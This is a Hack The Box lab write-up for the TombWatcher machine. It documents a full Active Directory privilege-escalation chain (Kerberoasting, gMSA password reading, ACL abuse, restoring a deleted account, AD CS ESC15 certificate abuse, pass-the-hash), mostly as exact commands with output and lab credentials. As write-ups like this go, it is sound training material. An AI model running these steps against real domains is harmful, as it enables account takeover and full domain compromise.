HTB TombWatcher writeup
A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”TombWatcher was a Windows AD box where the path from the initial credentials to Administrator followed a sequence of Active Directory ACLs, combining Kerberoasting, gMSA password retrieval, ForceChangePassword, WriteOwner, AD Recycle Bin, and AD CS ESC15/ESC17. I started with credentials for henry, verified the relationships shown by BloodHound/RustHound one at a time, and obtained a WinRM shell as john. I then used GenericAll over the ADCS OU to restore the deleted cert_admin account and obtained the NT hash for Administrator through a certificate.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | TombWatcher |
| Platform | Hack The Box |
| OS | Windows |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”Operator with provided credential henry / H3nry_987TGV! | | LDAP/SMB enumeration + RustHound vtombwatcher.htb\henry | | WriteSPN on Alfred -> set SPN -> Kerberoast -> hashcat vtombwatcher.htb\alfred / basketball | | AddSelf to Infrastructure group vtombwatcher.htb\alfred as member of Infrastructure | | ReadGMSAPassword on ansible_dev$ vtombwatcher.htb\ansible_dev$ NTLM 47f92356b62e2b1c7b185df4842b63ad | | ForceChangePassword on sam vtombwatcher.htb\sam / HappyPwn2026! | | WriteOwner on john -> add GenericAll -> reset john password vtombwatcher.htb\john / HappyPwn3030! via WinRM | | GenericAll on OU=ADCS -> inspect Deleted Objects and template ACLs vDeleted cert_admin object with SID S-1-5-21-1392491010-1358638721-2126982587-1111 | | Restore-ADObject into OU=ADCS -> inherited john GenericAll -> reset password vtombwatcher.htb\cert_admin / HappyPwn4000! | | WebServer template enrollment + ESC15 request agent flow vadministrator.pfx for TOMBWATCHER\Administrator | | certipy auth -> Administrator NT hash vtombwatcher.htb\administrator via WinRM -> root.txtTarget Details
Section titled “Target Details”- Hostname:
DC01 - Domain:
tombwatcher.htb - DC FQDN:
DC01.tombwatcher.htb - Initial credential:
henry / H3nry_987TGV!
I configured name resolution as follows.
10.129.27.153 DC01.tombwatcher.htb tombwatcher.htb DC01The Nmap command itself was not recorded. The saved results show that Nmap 7.99 scanned the equivalent of all TCP ports and performed service detection.
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft IIS httpd 10.088/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP3268/tcp open ldap Microsoft Windows Active Directory LDAP3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP5985/tcp open http Microsoft HTTPAPI httpd 2.09389/tcp open mc-nmf .NET Message Framing49667/tcp open msrpc Microsoft Windows RPC49695/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049696/tcp open msrpc Microsoft Windows RPC49698/tcp open msrpc Microsoft Windows RPC49716/tcp open msrpc Microsoft Windows RPC64733/tcp open msrpc Microsoft Windows RPCService Info: Host: DC01; OS: WindowsDomain SID S-1-5-21-1392491010-1358638721-2126982587clock-skew: mean: -4h00m02ssmb2-security-mode: Message signing enabled and requiredKey points:
- Ports
88,389,636,3268, and3269were open, so I treated the host as an AD domain controller rather than an ordinary Windows host. - Port
5985was open, making WinRM logon worth checking once credentials were available. - Port
9389was AD Web Services, useful for investigation with PowerShell AD cmdlets. - SMB signing was required, so NTLM relay was unlikely to be the main path.
- Before using Kerberos, I needed to correct the time difference between the scanner and the DC.
I corrected the Kerberos clock skew with ntpdate.
sudo ntpdate tombwatcher.htbCLOCK: time stepped by -14402.192629Initial Enumeration
Section titled “Initial Enumeration”The initial credentials, henry / H3nry_987TGV!, worked over SMB.
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!'SMB 10.129.27.153 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!I enumerated users, groups, computers, and the domain SID through LDAP.
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users --groups --computers --get-sid[*] Enumerated 7 domain users: tombwatcher.htbAdministratorGuestkrbtgtHenryAlfredsamjohn[*] Total records returned: 2DC01$ansible_dev$Domain SID S-1-5-21-1392491010-1358638721-2126982587From SMB, I could read only the usual DC shares. RID brute forcing also confirmed the key SIDs used later.
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!' --shares --rid-bruteShare PermissionsIPC$ READNETLOGON READSYSVOL READ1103: TOMBWATCHER\Henry1104: TOMBWATCHER\Alfred1105: TOMBWATCHER\sam1106: TOMBWATCHER\john1107: TOMBWATCHER\Infrastructure1108: TOMBWATCHER\ansible_dev$At this point, I judged that the target called for a focus on AD ACLs and Kerberos rather than the web.
AD Graph Enumeration
Section titled “AD Graph Enumeration”I collected the AD graph with RustHound-CE.
rusthound-ce -d tombwatcher.htb -f dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -c All --zipConnected to TOMBWATCHER.HTB Active Directory!9 users parsed61 groups parsed1 computers parsed2 ous parsed2 gpos parsed33 certtemplates parsed1 enterprisecas parsedThe important relationships were:
henryhadWriteSPNoverAlfred.AlfredhadAddSelfover theInfrastructuregroup.InfrastructurehadReadGMSAPasswordoveransible_dev$.ansible_dev$hadForceChangePasswordoversam.samhadWriteOwneroverjohn.johnhadGenericAlloverOU=ADCS.
Rather than trusting BloodHound edges alone, I also kept in mind how to inspect the LDAP security descriptors. The evidence lies in DACL ACEs, not ordinary attributes: for example, Henry -> Alfred WriteSPN appears in Alfred’s nTSecurityDescriptor, while Infrastructure -> ansible_dev$ ReadGMSAPassword is reflected in ansible_dev$’s msDS-GroupMSAMembership.
Henry to Alfred: WriteSPN and Kerberoasting
Section titled “Henry to Alfred: WriteSPN and Kerberoasting”henry could change Alfred’s SPN. As a state change, I added an SPN to Alfred.
bloodyad -d tombwatcher.htb -k --host dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v 'http/tombwatcher.htb'[+] alfred's servicePrincipalName has been updatedWith the SPN set, I obtained a TGS through Kerberoasting.
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting[*] sAMAccountName: Alfred, memberOf: [], pwdLastSet: 2025-05-13 00:17:03.526670, lastLogon: <never>$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$...I cracked the resulting TGS hash immediately with hashcat.
hashcat <alfred_tgs_hash_file> /usr/share/wordlists/rockyou.txtHash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)Status...........: Cracked$krb5tgs$23$*Alfred$...:basketballThis yielded alfred / basketball, although WinRM was not available for this account yet.
nxc winrm dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb[-] tombwatcher.htb\alfred:basketballSMB authentication confirmed that alfred’s credentials were valid.
nxc smb dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb[+] tombwatcher.htb\alfred:basketballAlfred to ansible_dev$: AddSelf and gMSA
Section titled “Alfred to ansible_dev$: AddSelf and gMSA”Following the BloodHound AddSelf edge, I added alfred to the Infrastructure group. This changed AD state.
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred[+] alfred added to INFRASTRUCTUREBecause Infrastructure could read the gMSA password for ansible_dev$, I used alfred’s current group rights to obtain the gMSA hash.
nxc ldap dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' --gmsa[+] tombwatcher.htb\alfred:basketball[*] Getting GMSA PasswordsAccount: ansible_dev$ NTLM: 47f92356b62e2b1c7b185df4842b63ad PrincipalsAllowedToReadPassword: InfrastructureThis gave me the NTLM hash for ansible_dev$. With a gMSA, the key question is whether the account can read the target object’s msDS-ManagedPassword, rather than knowing an ordinary user password.
ansible_dev$ to john: Password Reset Chain
Section titled “ansible_dev$ to john: Password Reset Chain”BloodHound showed that ansible_dev$ had ForceChangePassword over sam. Using the NTLM hash for ansible_dev$, I reset sam’s password. This changed AD state.
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u ansible_dev$ -p :47f92356b62e2b1c7b185df4842b63ad set password sam 'HappyPwn2026!'[+] Password changed successfully!After the reset, I verified sam’s credentials over SMB.
nxc smb dc01.tombwatcher.htb -u sam -p HappyPwn2026! -d tombwatcher.htb[+] tombwatcher.htb\sam:HappyPwn2026!Next, sam had WriteOwner over john. I changed the owner, then granted GenericAll. This also changed AD state.
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set owner john sambloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! add genericAll john sam[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john[+] sam has now GenericAll on johnAfter gaining GenericAll over john, I reset john’s password.
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set password john 'HappyPwn3030!'[+] Password changed successfully!john belonged to Remote Management Users, so WinRM was available.
nxc winrm dc01.tombwatcher.htb -u john -p HappyPwn3030! -d tombwatcher.htb[+] tombwatcher.htb\john:HappyPwn3030! (Pwn3d!)I logged in through WinRM and obtained the user flag.
evil-winrm-py -i dc01.tombwatcher.htb -u john -p HappyPwn3030!evil-winrm-py PS C:\Users\john\Desktop> type user.txt[REDACTED]ADCS OU Enumeration
Section titled “ADCS OU Enumeration”BloodHound results for john showed that john had GenericAll over an OU named ADCS@TOMBWATCHER.HTB. I investigated the OU because GenericAll could potentially allow object creation, attribute changes, and inherited ACLs beneath it, and the name ADCS suggested that certificate-related users or administrative objects might have existed there. I first inspected the OU itself.
Get-ADOrganizationalUnit ` -Identity "OU=ADCS,DC=tombwatcher,DC=htb" ` -Properties *DistinguishedName : OU=ADCS,DC=tombwatcher,DC=htbName : ADCSProtectedFromAccidentalDeletion : TrueI checked for ordinary child objects directly under the OU, but the result was empty.
Get-ADObject ` -SearchBase "OU=ADCS,DC=tombwatcher,DC=htb" ` -SearchScope OneLevel ` -Filter * | Select-Object Name, ObjectClass, DistinguishedNameThe ordinary search returned nothing because no active child objects remained directly under the OU. That did not mean the OU had never contained anything. Where AD Recycle Bin is enabled, deleted objects leave ordinary search results and move under CN=Deleted Objects. I therefore needed to search deleted objects with IncludeDeletedObjects.
Get-GPInheritance showed Default Domain Policy.
Get-GPInheritance -Target "OU=ADCS,DC=tombwatcher,DC=htb"Name : adcsContainerType : OUGpoInheritanceBlocked : NoGpoLinks : {}InheritedGpoLinks : {Default Domain Policy}I briefly considered a GPO path, but GpoLinks : {} was empty: Default Domain Policy was merely inherited from the domain root. GenericAll over the OU suggested I might be able to change the OU object or its gPLink attribute, but it did not mean I could edit the GPO’s Group Policy Container or its Group Policy Template in SYSVOL. I excluded that path from the main attack.
The OU ACL confirmed john’s GenericAll right.
$dn = "OU=ADCS,DC=tombwatcher,DC=htb"(Get-Acl "AD:$dn").Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType, IsInheritedIdentityReference ActiveDirectoryRights AccessControlTypeTOMBWATCHER\john GenericAll AllowTOMBWATCHER\Domain Admins GenericAll AllowNT AUTHORITY\SYSTEM GenericAll AllowWhat mattered now was not an “empty OU” but the possibility that something had existed in it before. The OU was named ADCS, and certificate templates were visible, so I shifted to searching deleted objects.
Deleted Objects and cert_admin Selection
Section titled “Deleted Objects and cert_admin Selection”I checked whether AD Recycle Bin was enabled.
Get-ADOptionalFeature -Filter 'Name -like "Recycle Bin Feature"' | Format-List Name, EnabledScopesName : Recycle Bin FeatureEnabledScopes : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, ...}I searched for deleted objects whose lastKnownParent was OU=ADCS. The -IncludeDeletedObjects switch was necessary because ordinary LDAP/AD searches omit deleted objects. Because lastKnownParent records the container an object belonged to before deletion, it let me look back for objects that had once been in the now-empty OU=ADCS.
Get-ADObject ` -IncludeDeletedObjects ` -LDAPFilter '(&(isDeleted=TRUE)(lastKnownParent=OU=ADCS,DC=tombwatcher,DC=htb))' ` -Properties lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,objectClass,sAMAccountName | Format-List Name,ObjectGUID,ObjectClass,sAMAccountName,lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,DistinguishedNameName : cert_admin DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3ObjectClass : usersAMAccountName : cert_adminlastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisRecycled :
Name : cert_admin DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358ObjectClass : usersAMAccountName : cert_adminlastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisRecycled :
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectClass : usersAMAccountName : cert_adminlastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisRecycled :All three were named cert_admin, and isRecycled was empty. With AD Recycle Bin, an object with isDeleted=True and no isRecycled value is still eligible for restoration. The surviving lastKnownParent and msDS-LastKnownRDN also suggested that Restore-ADObject could restore its original OU and name.
Creating a new user named cert_admin would not suffice. AD ACLs refer to SIDs, not display names or sAMAccountName values, so a new user with the same name would receive a new SID. The certificate template ACL still referred to the deleted cert_admin account’s SID. The template right would not become usable unless I restored the object with that SID.
I still did not know which cert_admin to restore. The memberOf values for all candidates were empty, so group membership did not distinguish them.
Get-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf' -IncludeDeletedObjects ` -Properties memberOf,adminCount,userAccountControl,nTSecurityDescriptor | Format-List Name,ObjectGUID,memberOf,adminCount,userAccountControlName : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfmemberOf : {}adminCount :userAccountControl : 66048To find the difference, I compared the SIDs of the three deleted cert_admin objects with the certificate template ACLs.
$sids = @( "S-1-5-21-1392491010-1358638721-2126982587-1109", "S-1-5-21-1392491010-1358638721-2126982587-1110", "S-1-5-21-1392491010-1358638721-2126982587-1111")$config = (Get-ADRootDSE).configurationNamingContext$base = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$config"
Get-ADObject ` -SearchBase $base ` -LDAPFilter "(objectClass=pKICertificateTemplate)" |ForEach-Object { $template = $_ $acl = Get-Acl "AD:$($template.DistinguishedName)"
foreach ($ace in $acl.Access) { try { $sid = $ace.IdentityReference.Translate( [System.Security.Principal.SecurityIdentifier] ).Value } catch { $sid = $ace.IdentityReference.Value }
if ($sid -in $sids) { [PSCustomObject]@{ Template = $template.Name SID = $sid Rights = $ace.ActiveDirectoryRights Type = $ace.AccessControlType ObjectType = $ace.ObjectType InheritanceType = $ace.InheritanceType } } }} | Format-ListTemplate : WebServerSID : S-1-5-21-1392491010-1358638721-2126982587-1111Rights : GenericReadType : AllowObjectType : 00000000-0000-0000-0000-000000000000InheritanceType : None
Template : WebServerSID : S-1-5-21-1392491010-1358638721-2126982587-1111Rights : ReadProperty, WriteProperty, ExtendedRightType : AllowObjectType : 0e10c968-78fb-11d2-90d4-00c04f79dc55InheritanceType : NoneI checked what 0e10c968-78fb-11d2-90d4-00c04f79dc55 meant.
Get-ADObject ` -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" ` -LDAPFilter "(rightsGuid=0e10c968-78fb-11d2-90d4-00c04f79dc55)" ` -Properties displayName,rightsGuid | Format-List Name,displayName,rightsGuidName : Certificate-EnrollmentdisplayName : EnrollrightsGuid : 0e10c968-78fb-11d2-90d4-00c04f79dc55I concluded that the object to restore had ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebf and objectSid S-1-5-21-1392491010-1358638721-2126982587-1111. Of the three generations of cert_admin, only S-...-1111 appeared in the WebServer template ACL, and ObjectType 0e10c968-78fb-11d2-90d4-00c04f79dc55 proved to be Certificate-Enrollment, or the Enroll right. I chose the object because its SID was referenced by the AD CS template ACL, not merely because it had the latest whenChanged value.
Restoring cert_admin
Section titled “Restoring cert_admin”I reconfirmed the object to restore.
$guid = "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"$deleted = Get-ADObject ` -Identity $guid ` -IncludeDeletedObjects ` -Properties objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycled
$deleted | Format-List Name,ObjectGUID,objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycledName : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebfObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfobjectSid : S-1-5-21-1392491010-1358638721-2126982587-1111lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htbmsDS-LastKnownRDN : cert_adminisDeleted : TrueisRecycled :I restored it with Restore-ADObject. This changed AD state.
$deleted | Restore-ADObjectAfter restoration, I verified that its SID and DN matched expectations.
Get-ADUser cert_admin -Properties objectSid,Enabled | Format-List SamAccountName,ObjectSid,EnabledSamAccountName : cert_adminObjectSid : S-1-5-21-1392491010-1358638721-2126982587-1111Enabled : TrueGet-ADUser ` -LDAPFilter "(sAMAccountName=cert_admin)" ` -ErrorAction SilentlyContinueDistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htbEnabled : TrueObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfSamAccountName : cert_adminSID : S-1-5-21-1392491010-1358638721-2126982587-1111The SID remained the same because Restore-ADObject restores the original object from Deleted Objects; it does not create a new user with the same name. An object still eligible for AD Recycle Bin restoration retains its pre-deletion objectGUID and objectSid, which are reused on restoration. Here, I confirmed this by matching the restored ObjectGUID and SID to their values in the deleted state.
Restoring cert_admin did not reveal its password. I checked whether john’s rights had been inherited by the restored user object.
$certAdmin = Get-ADUser ` -Identity "cert_admin" ` -Properties objectSid,Enabled,userAccountControl,DistinguishedName$userDn = $certAdmin.DistinguishedName
(Get-Acl "AD:$userDn").Access | Where-Object { $_.IdentityReference -eq "TOMBWATCHER\john" } | Format-List IdentityReference,ActiveDirectoryRights,AccessControlType,ObjectType,InheritanceType,IsInheritedIdentityReference : TOMBWATCHER\johnActiveDirectoryRights : GenericAllAccessControlType : AllowObjectType : 00000000-0000-0000-0000-000000000000InheritanceType : AllIsInherited : Truejohn’s GenericAll right was inherited from OU=ADCS by the restored cert_admin, allowing john to reset cert_admin’s password.
$newPassword = ConvertTo-SecureString ` "HappyPwn4000!" ` -AsPlainText ` -Force
Set-ADAccountPassword ` -Identity $certAdmin ` -Reset ` -NewPassword $newPassword
Enable-ADAccount -Identity $certAdminUnlock-ADAccount -Identity $certAdmin -ErrorAction SilentlyContinueVerification results:
Get-ADUser cert_admin -Properties Enabled,userAccountControl | Format-ListDistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htbEnabled : TrueObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebfSamAccountName : cert_adminSID : S-1-5-21-1392491010-1358638721-2126982587-1111userAccountControl : 66048This was the easiest place to get stuck in the box. cert_admin’s privilege did not come from group membership; its deleted SID remained directly on the certificate template ACL. The right object to restore was therefore not just any account named cert_admin, but the cert_admin whose SID the WebServer template ACL referenced.
ADCS Exploitation
Section titled “ADCS Exploitation”When I first ran Certipy as john, the CA was visible, but no vulnerable template was listed.
certipy find -u john -p HappyPwn3030! -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdoutCA Name : tombwatcher-CA-1DNS Name : DC01.tombwatcher.htbRequest Disposition : IssueEnroll : TOMBWATCHER.HTB\Authenticated UsersCertificate Templates : [!] Could not find any certificate templatesThe likely reason was not a broken Certipy installation: john was not an enrollment principal for the vulnerable WebServer template. -vulnerable focuses on templates exploitable by the current authenticated principal, so john could not directly use the template right tied to cert_admin’s SID. As an alternative, I read the template ACLs under CN=Certificate Templates,CN=Public Key Services,... in PowerShell and directly compared them with the deleted cert_admin SIDs. This showed that S-...-1111 had the Enroll right on WebServer, leading to the restoration of cert_admin.
Running Certipy as cert_admin then revealed the vulnerable WebServer template that was not visible as john.
certipy find -u cert_admin -p 'HappyPwn4000!' -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdoutCA Name : tombwatcher-CA-1DNS Name : DC01.tombwatcher.htbRequest Disposition : IssueEnroll : TOMBWATCHER.HTB\Authenticated Users
Template Name : WebServerDisplay Name : Web ServerCertificate Authorities : tombwatcher-CA-1Enabled : TrueClient Authentication : FalseEnrollment Agent : FalseEnrollee Supplies Subject : TrueExtended Key Usage : Server AuthenticationRequires Manager Approval : FalseAuthorized Signatures Required : 0Schema Version : 1Enrollment Rights : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins TOMBWATCHER.HTB\cert_adminWrite Property Enroll : TOMBWATCHER.HTB\Domain Admins TOMBWATCHER.HTB\Enterprise Admins TOMBWATCHER.HTB\cert_admin[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin[!] Vulnerabilities ESC15 : Enrollee supplies subject and schema version is 1. ESC17 : Enrollee supplies subject and template allows server authentication.First, I requested a certificate from the WebServer template with the Certificate Request Agent application policy.
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'WebServer' \ -application-policies 'Certificate Request Agent'[*] Requesting certificate via RPC[*] Request ID is 5[*] Successfully requested certificate[*] Got certificate without identity[*] Certificate has no object SID[*] Saving certificate and private key to 'cert_admin.pfx'[*] Wrote certificate and private key to 'cert_admin.pfx'I treated the resulting cert_admin.pfx as a certificate for a later request on behalf of another user, not as an identity-bearing logon certificate.
I first tried requesting a certificate on behalf of Administrator with a fully qualified domain name and the WebServer template, but the certificate contained no usable identity.
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'WebServer' \ -pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER.HTB\Administrator'[!] Domain part of '-on-behalf-of' should not be a FQDN[*] Request ID is 6[*] Got certificate without identity[*] Certificate has no object SID[*] Wrote certificate and private key to 'administrator.pfx'Authentication with that certificate also failed.
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153[*] Certificate identities:[*] No identities found in this certificate[!] Could not find identity in the provided certificate[-] Username or domain is not specified, and identity information was not found in the certificateThis failure showed why I needed to verify that a certificate contained a UPN/SID. I next tried explicitly specifying the UPN and SID with the WebServer template. That confirmed I could include Administrator’s UPN/SID, but the final main path used the on-behalf-of request described below.
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'WebServer' \ -upn administrator@TOMBWATCHER.HTB \ -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \ -application-policies 'Certificate Request Agent'[*] Requesting certificate via RPC[*] Request ID is 8[*] Successfully requested certificate[*] Got certificate with UPN 'administrator@TOMBWATCHER.HTB'[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Wrote certificate and private key to 'administrator.pfx'I ultimately used cert_admin.pfx as the request agent certificate and requested a certificate for TOMBWATCHER\Administrator with the User template.
certipy req \ -u 'cert_admin' -p 'HappyPwn4000!' \ -dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \ -ca 'tombwatcher-CA-1' -template 'User' \ -pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER\Administrator'[*] Requesting certificate via RPC[*] Request ID is 10[*] Successfully requested certificate[*] Got certificate with UPN 'Administrator@tombwatcher.htb'[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Saving certificate and private key to 'administrator.pfx'[*] Wrote certificate and private key to 'administrator.pfx'administrator.pfx contained Administrator’s UPN and SID, so I could authenticate with Kerberos through Certipy and obtain the NT hash.
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153[*] Certificate identities:[*] SAN UPN: 'Administrator@tombwatcher.htb'[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'[*] Using principal: 'administrator@tombwatcher.htb'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'administrator.ccache'[*] Trying to retrieve NT hash for 'administrator'[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fcAdministrator Access
Section titled “Administrator Access”I logged in through WinRM with the obtained NT hash.
evil-winrm-py -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc[*] Connecting to 'dc01.tombwatcher.htb:5985' as 'administrator'evil-winrm-py PS C:\Users\Administrator\Documents> whoamitombwatcher\administratorI obtained the root flag.
evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt[REDACTED]Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- Seeing
Default Domain PolicyaffectOU=ADCSdid not mean I could edit the GPO.GpoLinkswas empty; it appeared only inInheritedGpoLinks. OU=ADCSwas empty, so manipulating ordinary child users or computers led nowhere. I needed to inspect Deleted Objects.- There were three deleted
cert_adminobjects, all with emptymemberOfvalues. I had to select one by the SID referenced in the certificate template ACL, not by group membership. - Running
certipy find -vulnerableasjohndid not reveal the vulnerable template. The template right was tied tocert_admin’s SID, so I had to run it again after restoration. - The first
-on-behalf-of 'TOMBWATCHER.HTB\Administrator'used the FQDN as the domain, produced a warning, and yielded a certificate with no identity. I treated the “No identities found” message fromcertipy authas a failure.
Cleanup Notes
Section titled “Cleanup Notes”-
Alfred’sservicePrincipalName- Change: added
http/tombwatcher.htb. - Original state: not recorded.
- Restoration: remove
http/tombwatcher.htbfromAlfred’sservicePrincipalName. - Verification: not confirmed.
- Change: added
-
Infrastructuregroup membership- Change: added
alfredtoInfrastructure. - Original state:
alfredwas not a member. - Restoration: remove
alfredfromInfrastructure. - Verification: not confirmed.
- Change: added
-
sam’s password- Change: reset it to
HappyPwn2026!. - Original state: not recorded.
- Restoration: because the original password is unknown, set it to a known safe value with administrator rights or reset the lab.
- Verification: not confirmed.
- Change: reset it to
-
john’s owner, DACL, and password- Change: changed the owner to
sam, grantedsamGenericAll, and reset the password toHappyPwn3030!. - Original owner:
S-1-5-21-1392491010-1358638721-2126982587-512, orDomain Admins. - Restoration: return the owner to
Domain Admins, removesam’sGenericAllACE fromjohn’s DACL, and restore the password. The original password was not recorded. - Verification: not confirmed.
- Change: changed the owner to
-
Restoration and password of
cert_admin- Change: restored the deleted object with
ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebfand reset its password toHappyPwn4000!. It was also enabled and unlocked as needed. - Original state: a deleted user under
CN=Deleted Objects. - Restoration: delete
cert_adminagain or reset the machine to return the lab to its original state. - Verification: not confirmed.
- Change: restored the deleted object with
-
AD CS certificate requests
- Change: Request IDs
5,6,8, and10were issued. - Artifacts:
cert_admin.pfx,administrator.pfx, andadministrator.ccache. - Restoration: if CA administrative rights are available, revoke the relevant requests and certificates and delete the local PFX/ccache files.
- Verification: not confirmed.
- Change: Request IDs
Credentials and Artifacts
Section titled “Credentials and Artifacts”-
henry / H3nry_987TGV!- Source: initial credentials provided at the start of the box.
- First use: SMB/LDAP enumeration.
- Enabled: Kerberoasting
AlfredthroughWriteSPN.
-
alfred / basketball- Source: after
henryadded an SPN toAlfred, I cracked the Kerberoasted TGS hash with hashcat. - First use: SMB authentication check, then
AddSelftoInfrastructure. - Enabled: obtaining the
ansible_dev$gMSA hash throughInfrastructuremembership.
- Source: after
-
ansible_dev$ : 47f92356b62e2b1c7b185df4842b63ad- Source: obtained with
nxc ldap --gmsaafteralfredjoinedInfrastructure. - First use:
ForceChangePasswordonsam. - Enabled: resetting
sam’s password.
- Source: obtained with
-
sam / HappyPwn2026!- Source: set using
ansible_dev$’sForceChangePasswordright. - First use: changing
john’s owner and grantingGenericAll. - Enabled: resetting
john’s password.
- Source: set using
-
john / HappyPwn3030!- Source: set after
samgainedGenericAlloverjohn. - First use: WinRM login.
- Enabled: obtaining the user flag, investigating
OU=ADCSand Deleted Objects, and restoringcert_admin.
- Source: set after
-
cert_admin / HappyPwn4000!- Source: after restoration,
john’sGenericAlloverOU=ADCSwas inherited bycert_admin, allowing its password to be reset. - First use:
certipy findandcertipy req. - Enabled: requesting a certificate for
Administratorthrough ESC15/ESC17 on theWebServertemplate.
- Source: after restoration,
-
Administrator NT hash- Value:
f61db423bebe3328d33af26741afe5fc - Source: authenticated with
administrator.pfxthroughcertipy authand obtained the NT hash after PKINIT. - First use: WinRM pass-the-hash.
- Enabled: obtaining the root flag as
tombwatcher\administrator.
- Value:
-
Flags
C:\Users\john\Desktop\user.txt:[REDACTED]C:\Users\Administrator\Desktop\root.txt:[REDACTED]
-
Certificate artifacts
cert_admin.pfx: certificate and private key obtained from theWebServertemplate with theCertificate Request Agentapplication policy.administrator.pfx: certificate and private key obtained by usingcert_admin.pfxfor an on-behalf-of request forTOMBWATCHER\Administratorthrough theUsertemplate.administrator.ccache: Kerberos credential cache obtained by Certipy fromadministrator.pfx.
Required Knowledge
Section titled “Required Knowledge”- Recognizing a DC from its AD port layout.
- Time synchronization when using Kerberos.
- Translating BloodHound/RustHound ACL edges into actual LDAP/AD object operations.
- Kerberoasting through
WriteSPN. - The meaning and abuse order of
